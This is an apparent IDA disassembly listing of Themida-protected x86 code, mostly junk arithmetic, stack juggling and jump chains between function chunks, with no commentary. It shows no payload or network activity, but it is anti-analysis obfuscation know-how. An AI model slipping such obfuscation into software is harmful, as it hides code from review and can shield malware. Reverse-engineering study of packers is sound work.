		add	edi, ecx
		pop	ecx
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		pop	esp
		shr	ecx, 2
		jmp	loc_559072
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554BFC:				; CODE XREF: Themida_:005532FAj
		sub	ebx, 3FB75C1Dh
		add	ebx, edi
		add	ebx, 3FB75C1Dh
		jmp	loc_552DB5
; ---------------------------------------------------------------------------


loc_554C0F:				; CODE XREF: Themida_:0055134Fj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55BF9C
; ---------------------------------------------------------------------------


loc_554C1D:				; CODE XREF: Themida_:00558E14j
		add	ecx, 4
		add	ecx, 4
		push	7CF6h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 5F5612A4h
		add	eax, 64FB2E6Fh
		add	eax, 3BAEBEF1h
		add	edi, eax
		pop	eax
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_555EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554C7C:				; CODE XREF: sub_556A70+63AEj
		add	esp, 4
		jmp	loc_551CD7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554C87:				; CODE XREF: Themida_:00553920j
		push	esi
		push	ebp
		mov	ebp, 9162451h
		mov	esi, 1F03555Dh
		jmp	loc_555C42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554C98:				; CODE XREF: sub_556A70+4870j
		mov	dl, 0EEh
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		jmp	loc_55852B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554CA5:				; CODE XREF: Themida_:00553632j
		mov	dh, 0E4h
		jmp	loc_550CAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_554CAC:				; CODE XREF: sub_553651+8FF1j
		pop	ecx
		pop	eax
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		or	eax, eax
		jz	loc_55CE3F
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		push	7677h
		mov	[esp+14h+var_14], ebp
		jmp	sub_555B85
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------


loc_554CD0:				; CODE XREF: Themida_:00550B64j
		add	esi, 0E322351h
		pop	ecx
		xor	esi, 74BDA67Dh
		add	eax, 62A93C46h
		add	eax, esi
		sub	eax, 62A93C46h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558226
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554CF4:				; CODE XREF: sub_556A70+1154j
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], edi
		jmp	loc_5597D2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_554D05:				; CODE XREF: sub_55515F-2952j
		mov	cl, 53h
		jmp	sub_553B60
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------


loc_554D0C:				; CODE XREF: Themida_:00552034j
		mov	edx, [esp]
		jmp	loc_550D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554D14:				; CODE XREF: sub_556A70-4724j
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_550DBC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554D2C:				; CODE XREF: Themida_:005556EFj
		xor	esi, ecx
		jmp	loc_551921
; ---------------------------------------------------------------------------


loc_554D33:				; CODE XREF: Themida_:00559776j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_554D38:				; CODE XREF: Themida_:00551005j
		mov	bl, 0Ah
		add	al, bl
		pop	bx
		jmp	loc_559AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554D43:				; CODE XREF: sub_556A70+9BAj
		pop	ebx
		xchg	ebx, edx
		push	edx
		push	edx
		mov	edx, 0FFFFFFFFh
		add	[esp+0Ch+var_8], edx
		pop	edx
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		inc	edx
		jmp	loc_550B69
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554D62:				; CODE XREF: Themida_:00558D09j
		or	cl, 39h
		inc	cl
		xor	cl, 30h
		xor	cl, 0F5h
		mov	bl, cl
		pop	ecx
		jmp	loc_553F1B
; ---------------------------------------------------------------------------


loc_554D75:				; CODE XREF: Themida_:00555A29j
		xor	esi, 0B3EAEF81h
		add	ebx, esi
		pop	esi
		sub	ebx, ebp
		sub	ebx, 6935107Fh
		pop	ebp
		jmp	loc_55C462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554D8C:				; CODE XREF: sub_556A70-2433j
		push	[esp-16h+arg_10+2]
		mov	edx, [esp-12h+arg_C+2]
		jmp	loc_558C86
; ---------------------------------------------------------------------------


loc_554D97:				; CODE XREF: sub_556A70-C07j
		add	ebp, 4
		push	ebp
		push	[esp-0Eh+arg_C+2]
		pop	ebp
		pop	[esp-0Eh+arg_8+2]
		pop	esp
		jmp	loc_55943E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B42


loc_554DAC:				; CODE XREF: sub_551B42+21j
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		or	eax, eax
		jnz	loc_55297F
		mov	edx, 31913C2Ah
		push	6814h
		mov	[esp-8+arg_4], ecx
		mov	ecx, 1
		jmp	loc_55549E
; END OF FUNCTION CHUNK	FOR sub_551B42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_554DDC:				; CODE XREF: sub_554299+8363j
		add	ecx, 53196E7Ch
		add	ecx, ebp
		jmp	loc_55C2C3
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------


loc_554DE9:				; CODE XREF: Themida_:0055B98Cj
		mov	[esp], ebx
		jmp	loc_557F3B
; ---------------------------------------------------------------------------


loc_554DF1:				; CODE XREF: Themida_:00553C78j
		push	edi
		mov	edi, 47F85C67h
		neg	edi
		not	edi
		add	edi, 0B807A39Eh
		add	eax, edi
		jmp	loc_557FDE
; ---------------------------------------------------------------------------


loc_554E08:				; CODE XREF: Themida_:0055C4A3j
		pop	eax
		jmp	loc_5538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554E0E:				; CODE XREF: sub_556A70+5BAj
		push	esi
		neg	[esp-12h+arg_C+2]
		pop	esi
		add	esi, 6D434B94h
		jmp	loc_55A03F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_554642
; ---------------------------------------------------------------------------


loc_554E27:				; CODE XREF: Themida_:00559F01j
		pop	ecx
		jmp	loc_55AE56
; ---------------------------------------------------------------------------


loc_554E2D:				; CODE XREF: Themida_:00551D4Aj
		push	ecx
		mov	ecx, 33341231h
		mov	edi, ecx
		pop	ecx
		add	edi, 8B34903h
		add	edi, 0DE84762h
		add	edi, 0D0D51606h
		add	esi, edi
		jmp	loc_55CA75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554E4F:				; CODE XREF: sub_556A70+1D09j
		sub	ebp, 23A70123h
		add	ebp, edx
		add	ebp, 23A70123h
		jmp	loc_556B51
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554E62:				; CODE XREF: Themida_:00557F53j
		sub	eax, 2B4764FDh
		pop	ecx
		jmp	loc_555FA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554E6D:				; CODE XREF: sub_556A70+2640j
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		add	ebx, 368435E9h
		add	ebx, edi
		push	ebp
		jmp	loc_556898
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_554E85	proc near		; CODE XREF: sub_55B730-5C74j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00552AD1 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, 4
		add	ecx, 8BE77F1h
		add	ecx, ebp
		sub	ecx, 8BE77F1h
		mov	ebp, [esp+0]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp+0], edx
		push	1252h
		mov	[esp-4+arg_0], ebx
		pop	edx
		push	635Dh
		mov	[esp-4+arg_0], ebp
		mov	ebp, edx
		jmp	loc_552AD1
sub_554E85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554EC7:				; CODE XREF: sub_556A70-44D6j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 54A06C2Dh
		shl	eax, 6
		xor	eax, 71241854h
		push	esi
		jmp	loc_559729
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554EE7:				; CODE XREF: Themida_:00555995j
		add	esp, 4
		push	ebp
		jmp	loc_554F01
; ---------------------------------------------------------------------------


loc_554EF3:				; CODE XREF: Themida_:005512E4j
		sub	bl, 0A6h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558153
; ---------------------------------------------------------------------------


loc_554F01:				; CODE XREF: Themida_:00554EEEj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55976A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554F0B:				; CODE XREF: sub_556A70+36A4j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		push	ebx
		mov	ebx, 3DCC73FDh
		xor	ebx, 47306FA1h
		add	[esp-0Ch+arg_C], 11744BAh
		sub	[esp-0Ch+arg_C], 6BB7440Ch
		add	[esp-0Ch+arg_C], ebx
		add	[esp-0Ch+arg_C], 6BB7440Ch
		push	esi
		push	edx
		mov	edx, 76596A1Dh
		add	edx, 203B0629h
		dec	edx
		shl	edx, 2
		shr	edx, 4
		add	edx, 0FB7228A9h
		mov	esi, edx
		pop	edx
		sub	[esp-8+arg_C], esi
		pop	esi
		pop	ebx
		add	[esp-10h+arg_C], 406078F5h
		sub	[esp-10h+arg_C], eax
		jmp	loc_552FD5
; ---------------------------------------------------------------------------


loc_554F71:				; CODE XREF: sub_556A70-1FACj
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554F76:				; CODE XREF: Themida_:0055930Bj
		pop	ebx
		xor	ebx, 727C05AFh
		sub	ebx, 0EAF252CFh
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 6F8323EAh
		mov	eax, edx
		pop	edx
		xor	eax, ebp
		pop	ebp
		not	eax
		or	eax, 46A96477h
		shl	eax, 2
		dec	eax
		not	eax
		jmp	loc_553127
; ---------------------------------------------------------------------------


loc_554FA4:				; CODE XREF: Themida_:0055C4EEj
		mov	esi, 76D47EEFh
		sub	esi, 76D47EEBh
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_559F98
; ---------------------------------------------------------------------------


loc_554FD6:				; CODE XREF: Themida_:005530EAj
		pop	edi
		mov	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 9130B67Bh
		add	eax, ecx
		pop	ecx
		and	[edi+1Ch], eax
		jmp	loc_55456D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554FFF:				; CODE XREF: sub_556A70+1682j
		pop	ebp
		sub	[esp-1Ch+arg_1C], esi
		pop	esi
		pop	esi
		add	esi, 5B4372ADh
		jmp	loc_55B68A
; ---------------------------------------------------------------------------


loc_555011:				; CODE XREF: sub_556A70+166Dj
		pop	eax
		mov	eax, ebp
		pop	ebp
		add	eax, 5046689Ah
		add	eax, edi
		push	esi
		mov	esi, 7A283B94h
		push	4B86h
		mov	[esp-24h+arg_20], eax
		mov	eax, 730118C7h
		inc	eax
		or	eax, 41D96152h
		not	eax
		xor	eax, 0A5C754DFh
		add	esi, 1B3522E2h
		sub	esi, eax
		sub	esi, 1B3522E2h
		pop	eax
		sub	eax, esi
		jmp	loc_554291
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555052:				; CODE XREF: Themida_:00553A52j
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0A75C83Ch
		add	ebp, 42504B1h
		add	ebp, edi
		sub	ebp, 42504B1h
		jmp	loc_555B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555077:				; CODE XREF: sub_556A70+5589j
		push	1BB3h
		mov	[esp-24h+arg_20], eax
		pop	esi
		jmp	loc_555442
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555085:				; CODE XREF: Themida_:0055355Cj
		sub	eax, esi
		xor	esi, eax
		jmp	loc_551118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55508E:				; CODE XREF: sub_556A70+1ED7j
		add	esp, 4
		push	ecx
		jmp	loc_552583
; ---------------------------------------------------------------------------


loc_555097:				; CODE XREF: sub_556A70-2714j
		add	[edx], ecx
		mov	edx, [esp-10h+arg_C]
		jmp	loc_55BEFA
; ---------------------------------------------------------------------------


loc_5550A1:				; CODE XREF: sub_556A70+61A3j
		sub	bh, 0B1h
		xor	ch, bh
		pop	ebx
		sub	bh, ch
		pop	ecx
		dec	bh
		jmp	sub_55A748
; ---------------------------------------------------------------------------


loc_5550B1:				; CODE XREF: sub_556A70-4A54j
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		xchg	edi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_55C935
; ---------------------------------------------------------------------------


loc_5550CD:				; CODE XREF: sub_556A70+252j
		mov	esi, 0B493443h
		jmp	loc_554659
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55227F


loc_5550D7:				; CODE XREF: sub_55227F+12j
		pop	edx
		sub	edx, 1A273945h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		pop	esi
		push	1B53h
		mov	[esp+0], edx
		pop	eax
		mov	edx, [esp-4+arg_0]
		jmp	loc_55B030
; END OF FUNCTION CHUNK	FOR sub_55227F
; ---------------------------------------------------------------------------


loc_5550F9:				; CODE XREF: Themida_:0055CDC1j
		sub	al, 0C5h
		xor	al, 0C6h
		xor	bh, al
		pop	eax
		and	bh, 0A0h
		xor	bh, 0DAh
		sub	al, bh
		jmp	loc_55C2F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55510D:				; CODE XREF: sub_556A70+3F57j
		push	4D0Dh
		mov	[esp-8+arg_4], edx
		push	1353h
		mov	[esp-4+arg_0], eax
		push	6A1Ch
		mov	[esp+0], ebp
		mov	ebp, 1
		mov	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_556D7E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555137:				; CODE XREF: Themida_:0055169Aj
		add	edx, 619638D0h
		not	edx
		add	edx, 0F62C6Bh
		jmp	loc_557BD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55514A:				; CODE XREF: sub_556A70-5F6Fj
		mov	ecx, 4E2E6A38h
		sub	ecx, 713B92h
		sub	eax, ecx
		mov	ecx, [esp-6+arg_0+2]
		jmp	loc_5513D2
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55515F	proc near		; CODE XREF: sub_559F87-635Bj

var_12		= dword	ptr -12h
var_6		= dword	ptr -6
var_2		= word ptr -2

; FUNCTION CHUNK AT 005510DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00551A56 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055280C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554532 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00554D05 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556451 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C626 SIZE 00000012 BYTES

		push	bx
		mov	bl, 38h
		push	ax
		mov	ah, 8Bh
		xor	bl, ah
		pop	ax
		dec	bl
		inc	bl
		jmp	loc_554532
sub_55515F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555174:				; CODE XREF: sub_556A70+5F56j
		mov	dword ptr [edi+20h], 43371E27h
		xor	[edi+20h], ebx
		pop	ebx
		push	edx
		mov	edx, 666D05DAh
		jmp	loc_559CE9
; ---------------------------------------------------------------------------


loc_55518A:				; CODE XREF: sub_556A70+43CFj
		neg	esi
		inc	esi
		xor	esi, 2F785B68h
		jmp	loc_5533A9
; ---------------------------------------------------------------------------


loc_555198:				; CODE XREF: sub_556A70+402j
		sub	edx, edi
		jmp	loc_5514EC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	small 5A48h
		push	sp
		pop	small word ptr [esp]
		push	small 5A81h
		mov	[esp], bp
		push	small 2
		pop	bp
		push	di
		mov	di, 3E26h
		sub	[esp+4], di
		pop	di
		add	[esp+2], bp
		jmp	loc_552775
; ---------------------------------------------------------------------------


loc_5551CE:				; CODE XREF: Themida_:00551560j
		mov	[esp], esi
		push	3D32h
		mov	[esp], ebp
		push	21D248B5h
		jmp	loc_55837C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5551E3:				; CODE XREF: sub_5584F8+2E16j
		mov	[esp+0], eax
		push	esi
		mov	esi, 4D0F6E72h
		jmp	loc_5535CB
; END OF FUNCTION CHUNK	FOR sub_5584F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_558C13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5551F7:				; CODE XREF: sub_5584F8-72FEj
		mov	ebx, 28651300h
		and	ebx, 41124CDh
		neg	ebx
		dec	ebx
		jmp	loc_550AAD
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55520A:				; CODE XREF: Themida_:00559B25j
		add	al, 0CAh
		add	al, 0C1h
		add	al, ch
		sub	al, 0C1h
		sub	al, 0CAh
		jmp	loc_554238
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555219:				; CODE XREF: sub_556A70+48EEj
		add	eax, 0C104BE3Fh
		jmp	loc_55A533
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555223:				; CODE XREF: Themida_:00551A3Dj
		push	3EE9h
		mov	[esp], ebx
		xchg	ecx, [esp]
		jmp	loc_55846F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_555233:				; CODE XREF: sub_5516F8-AB4j
		xor	ecx, 0B6C9370h
		sub	edi, ecx
		pop	ecx
		sub	edi, 81C0A6Eh
		sub	edi, 7E88325Dh
		jmp	loc_558C18
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_55524D:				; CODE XREF: sub_552E24+6E6Bj
		push	dword ptr [esp+0]
		jmp	loc_5596FF
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555255:				; CODE XREF: sub_556A70-64Fj
		push	edi
		jmp	sub_553A74
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55525B:				; CODE XREF: Themida_:00559E64j
		push	ecx
		push	ebx
		jmp	loc_556920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555262:				; CODE XREF: sub_556A70+55E3j
		xor	edx, ebx
		xor	ebx, edx
		xor	eax, ebx
		jmp	loc_557EA0
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55526D:				; CODE XREF: Themida_:00557C81j
		pop	esp
		push	cx
		not	word ptr [esp]
		pop	cx
		jmp	loc_559E50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55527B:				; CODE XREF: sub_556A70-2470j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		jmp	loc_558B3D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_55528B:				; CODE XREF: sub_550BFD+8D1Bj
		sub	edx, ecx
		sub	edx, 51DE1E2Ah
		sub	edx, 1B6A2980h
		add	edx, 3A5F6E02h
		push	[esp+4+var_4]
		jmp	loc_551799
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		push	edx
		mov	edx, 4A133139h
		add	edx, 58E03B9h
		mov	ebp, edx
		pop	edx
		shr	ebp, 4
		add	ebp, 0B0C475Ch
		jmp	loc_552AE4
; ---------------------------------------------------------------------------


loc_5552CB:				; CODE XREF: Themida_:00553C87j
		mov	ax, [esp]
		jmp	loc_553B26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5552D4:				; CODE XREF: sub_556A70-12AAj
		shl	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5552DD:				; CODE XREF: sub_556A70-13C9j
		sub	al, 0BCh
		mov	dl, al
		pop	eax
		jmp	loc_554AEB
; ---------------------------------------------------------------------------


loc_5552E7:				; CODE XREF: sub_556A70+3994j
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		jmp	loc_55624C
; ---------------------------------------------------------------------------


loc_5552F8:				; CODE XREF: sub_556A70-1398j
		pop	ecx
		and	esi, 61362581h
		sub	esi, 0B40CB53Bh
		mov	ebp, esi
		pop	esi
		jmp	loc_552BA4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55530D:				; CODE XREF: Themida_:00557BCBj
		push	2669h
		jmp	loc_55C4EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555317:				; CODE XREF: sub_556A70-AD2j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		pop	esp
		jmp	loc_55808B
; ---------------------------------------------------------------------------


loc_55532E:				; CODE XREF: sub_556A70-332Ej
		xor	edi, edx
		pop	edx
		jmp	sub_5582B3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555336:				; CODE XREF: Themida_:0055A6B6j
		push	dx
		push	eax
		jmp	loc_559110
; ---------------------------------------------------------------------------


loc_55533E:				; CODE XREF: Themida_:0055AF8Bj
		pop	edi
		add	esi, 68400591h
		add	esi, edx
		sub	esi, 68400591h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55C296
; ---------------------------------------------------------------------------


loc_555359:				; CODE XREF: Themida_:005513B3j
		pop	ebp
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_553069
; ---------------------------------------------------------------------------


loc_555370:				; CODE XREF: Themida_:0055AC32j
		add	ebx, esi
		pop	esi
		jmp	loc_5540CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5521AC


loc_555378:				; CODE XREF: sub_5521AC+2487j
		add	cl, bh
		pop	ebx
		inc	cl
		neg	cl
		add	cl, 77h
		sub	cl, 0FCh
		mov	ah, cl
		pop	ecx
		neg	ah
		jmp	loc_55857D
; END OF FUNCTION CHUNK	FOR sub_5521AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55538F:				; CODE XREF: sub_552B74-4ADj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_557FAC
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5553A3:				; CODE XREF: sub_556A70-3E7Dj
		xor	[esp-4+arg_0], ecx
		jmp	loc_5577A2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5553AB:				; CODE XREF: Themida_:0055947Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55C1D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5553B7:				; CODE XREF: sub_556A70+1A83j
		sub	ebp, 59373ED6h
		sub	ebp, esi
		push	eax
		mov	eax, 59373ED6h
		add	ebp, eax
		pop	eax
		pop	esi
		add	eax, ebp
		jmp	loc_5537CD
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5553D0	proc near		; CODE XREF: sub_556A70-2C0Bj

; FUNCTION CHUNK AT 00550B83 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00551F3F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553637 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005594A7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559508 SIZE 00000008 BYTES

		push	bx
		mov	bl, 31h
		mov	cl, bl
		pop	bx
		sub	bl, 4Bh
		jmp	loc_551F3F
sub_5553D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5553E0:				; CODE XREF: sub_556A70+AECj
		push	1
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		push	edi
		jmp	loc_559F68
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	ch, 0A7h
		add	ch, 0D3h
		jmp	loc_5525DE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_55C533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555410:				; CODE XREF: sub_556A70-49AEj
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_552CF2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555425:				; CODE XREF: Themida_:00556764j
		push	ebx
		mov	ebx, 31C121CAh
		sub	ebx, 0FFFFFFFFh
		add	ebx, 608A7772h
		dec	ebx
		push	edi
		mov	edi, 14016CDCh
		sub	ebx, edi
		jmp	loc_552427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555442:				; CODE XREF: sub_556A70-19F0j
		mov	edx, esi
		jmp	loc_553280
; ---------------------------------------------------------------------------


loc_555449:				; CODE XREF: sub_556A70+2D14j
		mov	esp, [esp-28h+arg_24]
		jmp	loc_5578F1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555451:				; CODE XREF: Themida_:005595A9j
		or	edi, ebx
		pop	ebx
		sub	edi, 5DBF793Eh
		sub	edi, 0FFFFFFFFh
		shl	edi, 5
		sub	esp, 4
		jmp	loc_556CBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D5E


loc_55546E:				; CODE XREF: sub_559D5E+1530j
		add	eax, 4
		add	eax, 4
		jmp	loc_55399E
; END OF FUNCTION CHUNK	FOR sub_559D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55547B:				; CODE XREF: sub_556A70-119Dj
		push	esi
		mov	esi, 5778B88Fh
		mov	ebx, esi
		pop	esi
		sub	ecx, ebx
